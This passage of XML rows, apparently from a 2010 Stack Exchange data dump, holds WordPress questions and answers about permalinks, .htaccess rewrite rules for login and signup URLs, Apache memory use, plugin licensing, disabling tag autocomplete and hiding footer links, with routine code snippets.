  <row Id="1369" PostTypeId="2" ParentId="1362" CreationDate="2010-09-05T08:20:48.500" Score="1" ViewCount="" Body="&lt;p&gt;Isn't this what &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping (Wordpress Plugin)&lt;/a&gt; is dealing with?&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T08:20:48.500" CommunityOwnedDate="2010-09-05T08:20:48.500" CommentCount="1" />
  <row Id="1370" PostTypeId="2" ParentId="1366" CreationDate="2010-09-05T08:21:45.117" Score="0" ViewCount="" Body="&lt;p&gt;Maybe this &lt;a href=&quot;http://wordpress.org/extend/plugins/wordpress-mu-domain-mapping/&quot; rel=&quot;nofollow&quot;&gt;WordPress MU Domain Mapping (Wordpress Plugin)&lt;/a&gt; is handy for that? Just like running a Multisite installation and offer Plugins in the Network.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T08:21:45.117" />
  <row Id="1371" PostTypeId="2" ParentId="1357" CreationDate="2010-09-05T08:29:08.247" Score="1" ViewCount="" Body="&lt;h2&gt;Just Comments&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I allow users to post comments on my blog. I think this is the most popular form on a wordpress site for user generated content.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T08:29:08.247" CommunityOwnedDate="2010-09-05T08:29:08.247" CommentCount="2" />
  <row Id="1372" PostTypeId="2" ParentId="1358" CreationDate="2010-09-05T08:35:55.280" Score="2" ViewCount="" Body="&lt;p&gt;you need to look into the sourcecode and find the place where that link is created. I do not know WPMU/Buddypress specifically enough that I can answer this question out of my head, but basically you'll have the following options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Change the address in the sourcecode - That's normally the easiest way to do, but you must redo this after every update.&lt;/li&gt;&#xA;&lt;li&gt;Find a hook you can add your own filter function so to change the address on the fly.&lt;/li&gt;&#xA;&lt;li&gt;Or this is a theme issue so you can hack the theme.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Firebug can help a bit to analyze what's going on, but it's only in the browser. Changes need to be made on the server side so you should have at least some PHP and Wordpress experience.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or to &lt;a href=&quot;http://wordpress.org/extend/plugins/&quot; rel=&quot;nofollow&quot;&gt;find a plugin&lt;/a&gt; that does the job and you're lucky. But I'm not aware of such.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T08:35:55.280" CommentCount="1" />
  <row Id="1373" PostTypeId="2" ParentId="1359" CreationDate="2010-09-05T08:49:43.007" Score="0" ViewCount="" Body="&lt;p&gt;The type of permalinks you write about are also called &lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks&quot; rel=&quot;nofollow&quot;&gt;&quot;Pretty Permalinks&quot; and are a feature of Wordpress&lt;/a&gt; that has been &lt;em&gt;designed&lt;/em&gt; for the Apache HTTP Server with Mod_Rewrite enabled. Every other server is at first incompatible to this and you should not use those pretty permalinks on those system unless you know what you are doing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are replacements for some rewrite rules available for other HTTP Servers like Lighty, NGINX (&lt;a href=&quot;http://wordpress.org/extend/plugins/nginx-compatibility/&quot; rel=&quot;nofollow&quot;&gt;nginx Compatibility (Wordpress Plugin)&lt;/a&gt;) or as in you case IIS, which is already somehow supported by Wordpress because for a longer time there were two developers taking care of IIS specifically (IIRC it's the author of &lt;a href=&quot;http://learn.iis.net/page.aspx/466/enabling-pretty-permalinks-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Enabling Pretty Permalinks in WordPress : URL Rewrite Module : Installing and Configuring IIS 7 : The Official Microsoft IIS Site&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please ensure that you've checked the right docs about Pretty Permalinks and your specific server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively switch to Apache HTTP.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T08:49:43.007" CommentCount="1" />
  <row Id="1374" PostTypeId="2" ParentId="1352" CreationDate="2010-09-05T09:12:14.220" Score="1" ViewCount="" Body="&lt;p&gt;Inserting  into your theme does not make much sense, because it's parsed prior theme display. You need to have that in your posts content prior to display (that means in &lt;code&gt;$post-&amp;gt;post_content&lt;/code&gt; when queried). This might not already be the case, so a reason why you currently experience that it is not paginating. The other reason why this happens is an incompatible theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function that takes care about pagination in post templates (templates are a theme related part in wordpress) is called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_link_pages&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_link_pages()&lt;/code&gt;&lt;/a&gt;. You theme must support the multipage global variables otherwise this will never work. Those global variables are: &lt;code&gt;$page, $pages, $multipage, $more, $numpages&lt;/code&gt;. You can learn more about their usage in &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/setup_postdata&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;setup_postdata()&lt;/code&gt;&lt;/a&gt; (undocumented function, see &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/query.php#L3202&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;setup_postdata()&lt;/code&gt; in source&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you manage to get all the &lt;code&gt;&amp;lt;!--nextpage--&amp;gt;&lt;/code&gt; fragments into your posts content and your theme supports multi pages for that custom post type template, you should be fine. The wp_link_pages() function might be handy to achieve this.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T09:12:14.220" CommentCount="2" />
  <row Id="1375" PostTypeId="2" ParentId="1197" CreationDate="2010-09-05T09:37:46.993" Score="3" ViewCount="" Body="&lt;p&gt;The apache process memory amount you talk about (80 to 120 MB per process) can be split into two reasons.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Apache&lt;/li&gt;&#xA;&lt;li&gt;Wordpress&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h3&gt;Apache&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You can optimize apache by only loading the number of modules you need and other optimization tweaks that will reduce the memory. If you have not optimized that yet, give it some tweaks.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Wordpress&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Wordpress just consumes a lot of memory and is not very optimized at all. I would start with replacing the database class with something more properly implemented. That should gain more speed and reduce the memory usage a lot. Next to that I have not that much to suggest. Not using Worpdress is not considered helpful I guess.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Strategies&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;To find out what's going on, you need to track how much memory a wordpress request is taking up. There is a get peak usage function (&lt;a href=&quot;http://php.net/manual/en/function.memory-get-peak-usage.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;memory_get_peak_usage()&lt;/code&gt;&lt;/a&gt;) you could use to monitor worpdress memory usage. If it comes close to the 80 - 120 MB you wrote about, you know that wordpress is creating your headaches. You might want to log the time-stamp, peak memory, execution time and requested URI.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Nginx to serve cached wordpress pages will most certainly help you because it will prevent wordpress from getting loaded - even for those &quot;inbound&quot; caches like the one you use. They are conceptually broken because they are a wordpress plugin, so at least a part of wordpress needs to be loaded even for cached results.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T09:37:46.993" />
  <row Id="1376" PostTypeId="2" ParentId="1364" CreationDate="2010-09-05T09:50:02.747" Score="0" ViewCount="" Body="&lt;p&gt;Put the terms you need SEO wise in the slug. The permalink structure is pretty unimportant then. Better invest your time and money into content instead of finding the holy grail in permalink optimization. Unless you don't do all the time and adopt accordingly and integrate it into a whole SEO strategy, you won't get anything specific out of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But one criteria SEO wise is the speed your site will react now these days. So to say your permalinks should have good performance, so adding the ID is very helpful to give WP some speed. There's nothing wrong in having the ID part of the permalink these days, I wonder why this is not suggested more often (in the end it doesn't help with wordpress permalinks? :).&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-09-05T09:56:17.527" LastActivityDate="2010-09-05T09:56:17.527" />
  <row Id="1377" PostTypeId="2" ParentId="56" CreationDate="2010-09-05T10:14:53.830" Score="3" ViewCount="" Body="&lt;p&gt;You can't hide the sourcecode away from wordpress users nor are you permitted to limit the redistribution of your plugin because of licensing implications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're creating a Wordpress derivate with your plugin and your users have the right to get the source of it and to freely redistribute it (see the &lt;a href=&quot;http://hakre.wordpress.com/2010/08/28/wordpress-licensing-issues-why-i-care-day-4/&quot; rel=&quot;nofollow&quot;&gt;four freedoms in free software&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming Wordpress is licensed under GPLv2 and you have got non-US customers you should deal with implications of a GPL violance you might have in your (&quot;protected&quot;) product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're trying to implement a vendor lock-in for your users.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T10:14:53.830" CommentCount="4" />
  <row Id="1378" PostTypeId="2" ParentId="1339" CreationDate="2010-09-05T10:21:57.280" Score="1" ViewCount="" Body="&lt;p&gt;The .htaccess file should be automatically created by wordpress when you activate pretty permalinks. In case it did not, wordpress will show you the code you should use to create the file manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're in doubt which code to use, I would disable pretty permalinks in the backend, back-up and then remove the current .htaccess file. Then I would go into the backend to activate pretty permalinks again and follow the instructions given.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-09-05T10:21:57.280" />
  <row Id="1379" PostTypeId="1" CreationDate="2010-09-05T12:06:28.020" Score="6" ViewCount="410" Body="&lt;p&gt;I have Multisite installed.  I have whitelabeled it using the Whitelabel-CMS plugin, but I can't customize the URLs of the sign-up and login pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I change the URL of my multisite's login page?  I want to change the URLs of sign-up, login, and registration pages .&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Sign-up: &lt;a href=&quot;http://domain.com/wp-signup.php&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/wp-signup.php&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Login: &lt;a href=&quot;http://domain.com/wp-login.php/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/wp-login.php/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Registration: &lt;a href=&quot;http://domain.com/wp-register.php/&quot; rel=&quot;nofollow&quot;&gt;http://domain.com/wp-register.php/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Could you help me with the customization of these URLs? Is there such possibility?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update:&#xA;I have changed the .htaccess file like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteBase /&#xA;RewriteRule ^login$ /wp-login.php [L]&#xA;RewriteRule ^signup$ /wp-signup.php [L]&#xA;RewriteRule ^register$ /wp-register.php [L]&#xA;RewriteRule ^index\.php$ - [L]&#xA;&#xA;# uploaded files&#xA;RewriteRule ^files/(.+) wp-includes/ms-files.php?file=$1 [L]&#xA;&#xA;RewriteCond %{REQUEST_FILENAME} -f [OR]&#xA;RewriteCond %{REQUEST_FILENAME} -d&#xA;RewriteRule ^ - [L]&#xA;RewriteRule . index.php [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am not sure what to do next .&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-09-09T09:06:39.133" LastActivityDate="2010-09-09T09:06:39.133" CommunityOwnedDate="2010-09-05T12:06:28.020" Title="Customizing the URLs of WordPress Login and Sign-up Pages?" Tags="&lt;page&gt;&lt;registration&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="1380" PostTypeId="2" ParentId="137" CreationDate="2010-09-05T12:44:43.563" Score="4" ViewCount="" Body="&lt;p&gt;I have a solution I tested, and it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The autocomplete for the tags is currently done via an ajax request to the file admin-ajax.php.&#xA;The solution I would suggest is to block the processing of the request so that it does not return any result. I would do :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function no_tag_suggest() {&#xA;    if( DOING_AJAX == true &amp;amp;&amp;amp; $_GET['action'] == 'ajax-tag-search' &amp;amp;&amp;amp; $_SERVER['HTTP_REFERER'] == admin_url( 'edit.php' ) ) {&#xA;        die;&#xA;    }&#xA;}    &#xA;add_action('admin_init', 'no_tag_suggest');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The previous function verify:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;if it is an ajax request&lt;/li&gt;&#xA;&lt;li&gt;if the action paramater is&#xA;'ajax-tag-search'&lt;/li&gt;&#xA;&lt;li&gt;if the referer url is the&#xA;'/wp-admin/edit.php' page&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If these 3 conditions are meet, no result will be returned and the tag suggestions not displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to remove this autocomplete from all the pages, not the 'wp-admin/edit.php' only, you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function no_tag_suggest() {&#xA;    if( DOING_AJAX == true &amp;amp;&amp;amp; $_GET['action'] == 'ajax-tag-search' ) ) {&#xA;        die;&#xA;    }&#xA;}    &#xA;add_action('admin_init', 'no_tag_suggest');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would suggest you to look at the code of 'admin-ajax.php' to see all the 'action' parameters there, thus all the ajax requests you can kill with similar methods.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope my explanation was clear. Don't hesitate to ask me if you want more details or have any question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bounty for me? :)&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2010-09-05T12:44:43.563" CommentCount="2" />
  <row Id="1381" PostTypeId="2" ParentId="137" CreationDate="2010-09-05T13:31:46.070" Score="0" ViewCount="" Body="&lt;p&gt;You can disable a response from the server, &lt;a href=&quot;http://wordpress.stackexchange.com/questions/137/can-i-disable-the-autocomplete/1380#1380&quot;&gt;as sorich87 has explained&lt;/a&gt;, or you could try the (more complicated) way of disabling the javascript that starts the AJAX request. If you just remove &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/js/jquery/suggest.dev.js&quot; rel=&quot;nofollow&quot;&gt;the &lt;code&gt;suggest&lt;/code&gt; library&lt;/a&gt;, the &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/js/inline-edit-post.dev.js#L104&quot; rel=&quot;nofollow&quot;&gt;various&lt;/a&gt; &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-admin/js/post.dev.js#L136&quot; rel=&quot;nofollow&quot;&gt;places&lt;/a&gt; that call the &lt;code&gt;suggest&lt;/code&gt; function will probably fail, so you should replace it with a stub function that does nothing.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-05T13:31:46.070" CommentCount="1" />
  <row Id="1382" PostTypeId="1" CreationDate="2010-09-05T15:20:18.273" Score="1" ViewCount="277" Body="&lt;p&gt;There are reports that &lt;a href=&quot;http://hakre.wordpress.com/2010/08/09/wp-plugins-how-to-remove-a-filter/&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;remove_filter&lt;/code&gt; does not work under some circumstances, and that we should provide alternatives&lt;/a&gt;. However, the article does not really make it clear under which circumstances this happens.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am looking for code examples that will break &lt;code&gt;remove_filter&lt;/code&gt;, with WordPress and PHP version, and eventually other relevant info, provided. I think the following snippet should be a useable template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;include('wp-load.php');&#xA;&#xA;function filtertest_function($value)&#xA;{&#xA;    return 'Filtered';&#xA;}&#xA;&#xA;var_dump(apply_filters('filtertest', 'Original value'));&#xA;add_filter('filtertest', 'filtertest_function');&#xA;var_dump(apply_filters('filtertest', 'Original value'));&#xA;remove_filter('filtertest', 'filtertest_function');&#xA;var_dump(apply_filters('filtertest', 'Original value'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will return the expected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string(14) &quot;Original value&quot;&#xA;string(8) &quot;Filtered&quot;&#xA;string(14) &quot;Original value&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I believe the error comes up in some cases where the filter is part of a class, or multiple filters are used. I understand &lt;a href=&quot;http://core.trac.wordpress.org/browser/branches/3.0/wp-includes/plugin.php#L703&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;_wp_filter_build_unique_id&lt;/code&gt;&lt;/a&gt; &lt;a href=&quot;https://core.trac.wordpress.org/ticket/10535&quot; rel=&quot;nofollow&quot;&gt;is involved&lt;/a&gt;. Please point out where in that code the source of the error is.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-19T16:58:30.587" Title="When does remove_filter not work?" Tags="&lt;errors&gt;&lt;filters&gt;" AnswerCount="2" CommentCount="6" />
  <row Id="1383" PostTypeId="1" CreationDate="2010-09-05T15:52:00.050" Score="0" ViewCount="105" Body="&lt;p&gt;I maintain a site that will get a new layout, with a new width for the content area (currently 390px, say 500px for the new width). Many images (but not all) are sized to the current width (some are smaller, some are larger but should they should not be). How do I prepare the resize to the new width of 500px? &lt;a href=&quot;http://wordpress.stackexchange.com/questions/322/cleanup-uploads-folder-media-library-db-structure&quot;&gt;Not all images are included as attachments (yet).&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;All images that are 390px and have an original of 500px or larger, should resize to 500px&lt;/li&gt;&#xA;&lt;li&gt;An overview of all images that could not be resized because the original is not available or smaller than 500px&lt;/li&gt;&#xA;&lt;li&gt;An overview of all images that are larger than 500px, so I can decide on them myself&lt;/li&gt;&#xA;&lt;li&gt;All OEmbeds that are 390px should resize to 500px&lt;/li&gt;&#xA;&lt;li&gt;An overview of all &quot;old-style embeds&quot; (probably all Flash objects) so I can replace them by OEmbeds of the correct size.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-09-05T19:35:20.817" Title="How to prepare images for a layout width change?" Tags="&lt;upgrade&gt;&lt;media&gt;&lt;design&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="1385" PostTypeId="2" ParentId="1266" CreationDate="2010-09-05T17:05:08.677" Score="3" ViewCount="" Body="&lt;p&gt;I've been working on a &quot;Recommended Links&quot; WP/BuddyPress plugin that essentially does the same thing... would be happy to share the code if you're interested, although its still only half finished. Link adding and up/downvoting are pretty functional, but I haven't done the commenting functions yet... Still, feel free to build off of anything thats useful in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://goldenapplesdesign.com/projects/recommended-links-plugin-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://goldenapplesdesign.com/projects/recommended-links-plugin-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I ended up creating two whole new tables, because I saw it potentially overwhelming the posts and comments tables, and when I started working on it (pre-WP3.0) because of the sheer volume of links and comments, it was easier to add new admin pages than try to work with custom post types. Now, I'd recommend using a custom post type, and at some point I'll rewrite what I have to do it that way.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-09-05T17:05:08.677" CommentCount="1" />
  <row Id="1386" PostTypeId="1" CreationDate="2010-09-05T18:23:38.973" Score="-2" ViewCount="203" Body="&lt;p&gt;Whole right area of Wordpress admin dashboard not showing... WP version is 2.7.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What could be the reason? It was working before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/lKOZf.jpg&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="32" LastEditorUserId="32" LastEditorDisplayName="" LastEditDate="2010-09-06T17:50:08.547" LastActivityDate="2010-09-06T17:50:08.547" Title="Whole right area of wordpress admin dashboard not showing" Tags="&lt;errors&gt;&lt;dashboard&gt;&lt;wordpress-version&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="1387" PostTypeId="2" ParentId="1386" CreationDate="2010-09-05T19:01:05.830" Score="3" ViewCount="" Body="&lt;p&gt;First, try disabling all of your plugins, and see if that fixes it.  If it does, enable them one at a time until you are able to reproduce the error. That should tell you which plugin is causing the problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, I strongly suggest you upgrade to 3.0.1.&lt;/p&gt;&#xA;" OwnerUserId="49" LastActivityDate="2010-09-05T19:01:05.830" CommentCount="5" />
  <row Id="1388" PostTypeId="2" ParentId="1383" CreationDate="2010-09-05T19:35:20.817" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Jan:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You are almost certainly going to need to write a set of scripts to accomplish what you are looking to do. The first step would be get all of them imported as attachments.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You've got a great set of specs for those scripts so the next step is to write each of them (actually, each of your criteria look like they could be a different question here on the site.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1051/how-to-retrieve-an-image-attachments-alt-text/1065#1065&quot;&gt;&lt;strong&gt;list of image handling functions in WordPress&lt;/strong&gt;&lt;/a&gt;; you'll need them to be able to write these scripts. Check out the attachment and the low-level image handling functions.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike&#xA;P.S. If you want to over the next week or two add each of your criteria as it's own question complete with a well written title and enough background in the text of the question then I (and others) can answer each question with a specific code snippet and we will have created a great reference for each of those questions that can later be more easily found via Google. And you can even link this question to those new questions in an update.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-09-05T19:35:20.817" CommentCount="2" />
  <row Id="1389" PostTypeId="2" ParentId="1379" CreationDate="2010-09-05T22:54:07.610" Score="5" ViewCount="" Body="&lt;p&gt;You can use a htaccess file to rename the login and registration addresses to easier to remember versions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wpguy.com/articles/an-easy-to-remember-login-address/&quot; rel=&quot;nofollow&quot;&gt;http://wpguy.com/articles/an-easy-to-remember-login-address/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using what was in that link we can further extend the simple login address into a simple signup and a simple register address as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^login$ /wp-login.php [L]&#xA;RewriteRule ^signup$ /wp-signup.php [L]&#xA;RewriteRule ^register$ /wp-register.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remember these need to go directly after the &lt;code&gt;RewriteBase /&lt;/code&gt; statement&lt;/p&gt;&#xA;" OwnerUserId="736" LastEditorUserId="736" LastEditorDisplayName="" LastEditDate="2010-09-07T12:02:54.663" LastActivityDate="2010-09-07T12:02:54.663" CommunityOwnedDate="2010-09-05T22:54:07.610" CommentCount="16" />
  <row Id="1390" PostTypeId="1" AcceptedAnswerId="1402" CreationDate="2010-09-05T23:44:19.723" Score="6" ViewCount="1591" Body="&lt;p&gt;I am desperately looking for some way (any way) to set default &quot;screen options&quot; and metabox order through the functions.php file. does anyone have any help they can provide here?&lt;/p&gt;&#xA;" OwnerUserId="479" LastActivityDate="2010-09-12T12:06:53.270" Title="Set Default Admin Screen options &amp; Metabox Order" Tags="&lt;metabox&gt;" AnswerCount="1" FavoriteCount="7" />
  <row Id="1392" PostTypeId="1" AcceptedAnswerId="1398" CreationDate="2010-09-06T01:57:43.947" Score="4" ViewCount="327" Body="&lt;p&gt;I have seen code in an answer to this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1059?tab=newest#tab-top&quot;&gt;question&lt;/a&gt;, how to remove the promotional back link to WordPress.org in my theme.  I have added this to my theme's CSS but there is no change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing see some thing? Apologies for my Ignorance .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code I have used:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#site-generator {&#xA;display: none; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can you remove the widgets from dashboard and add new customized widgets ?&#xA;Is there possibility to hide the date and time from posts ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update&lt;/strong&gt; :Could anybody tell me ,If I can remove the term 'wordpress' from displaying on title bar?&lt;/p&gt;&#xA;" OwnerUserId="391" LastEditorUserId="391" LastEditorDisplayName="" LastEditDate="2010-12-10T15:29:09.517" LastActivityDate="2010-12-10T15:29:09.517" CommunityOwnedDate="2010-09-06T01:57:43.947" Title="How do I white label my self-hosted site created by wordpress?" Tags="&lt;themes&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="2" />
  <row Id="1393" PostTypeId="1" CreationDate="2010-09-06T02:25:37.093" Score="1" ViewCount="439" Body="&lt;p&gt;I have a wordpress site that is extremely large and pushing Wordpress to its limits. It uses a number of pages/categories and a lot of .htaccess rules to organise the various sections of the site, (it's for a large magazine).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One particular issue is really stumping me. I have the following rules in .htaccess ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^(cat|tag)/([^\/]+)(/?)$ index.php?page_id=3&amp;amp;s1=$2 [L,QSA]&#xA;RewriteRule ^xyz/([^\/]+)(/?)$ index.php?page_id=6&amp;amp;s1=$1 [L,QSA]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if the argument supplied to the cat/tag page has no trailing slash, it always works. If the argument has a trailing slash, &lt;strong&gt;and&lt;/strong&gt; the tag in question matches the entries in a non-Wordpress table that work with the 'xyz' page, Wordpress loads that page instead, even if the tag is present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tested that the rules always work, and they do. Wordpress is always getting the correct $_GET['page'] of 3 and the tag slug as $_GET['s1'], and yet decides to show a different page altogether if the above is true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything is done within .htaccess, permalinks in wordpress are turned off completely. How can I stop WP form deciding against the page_id it has been told to use.&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:39:13.677" LastActivityDate="2011-02-16T08:39:13.677" Title="Wordpress overrides the GET variables, (page_id) set in HTACCESS " Tags="&lt;permalinks&gt;&lt;htaccess&gt;" AnswerCount="1" />
  <row Id="1394" PostTypeId="2" ParentId="1392" CreationDate="2010-09-06T03:13:42.233" Score="1" ViewCount="" Body="&lt;p&gt;&quot;site-generator&quot; is the div id assigned to the Powered by WordPress link in Twentyten, the default theme.  Many other themes also contain a powered by WordPress link in the footer but might not assign the same div id as Twentyten.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find the div id or class assigned to the the link in the footer of your theme you can view source from your browser and scroll down to the bottom of the page.  When you find the link to WordPress.org look for the &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; tag that the wraps the link and take note of the id or class assigned to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example from the Retromania Theme:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;copy&quot;&amp;gt;&amp;amp;copy; Theme Preview 2009 | Created by &amp;lt;a href=&quot;http://www.jayhafling.com/&quot;&amp;gt;Jay Hafling&amp;lt;/a&amp;gt;.&amp;lt;/div&amp;gt;&#xA;&#xA;                    &amp;lt;div class=&quot;copy_support&quot;&amp;gt;Powered by &amp;lt;a href=&quot;http://www.wordpress.org/&quot;&amp;gt;WordPress&amp;lt;/a&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In this example the class &quot;copy_support&quot; is assigned to the powered by link so to remove it you would ass this to your css:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.copy_support {&#xA;display:none;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since it is a class and not an id you use the &lt;code&gt;.&lt;/code&gt; selector instead of the &lt;code&gt;#&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2010-09-06T03:13:42.233" CommunityOwnedDate="2010-09-06T03:13:42.233" 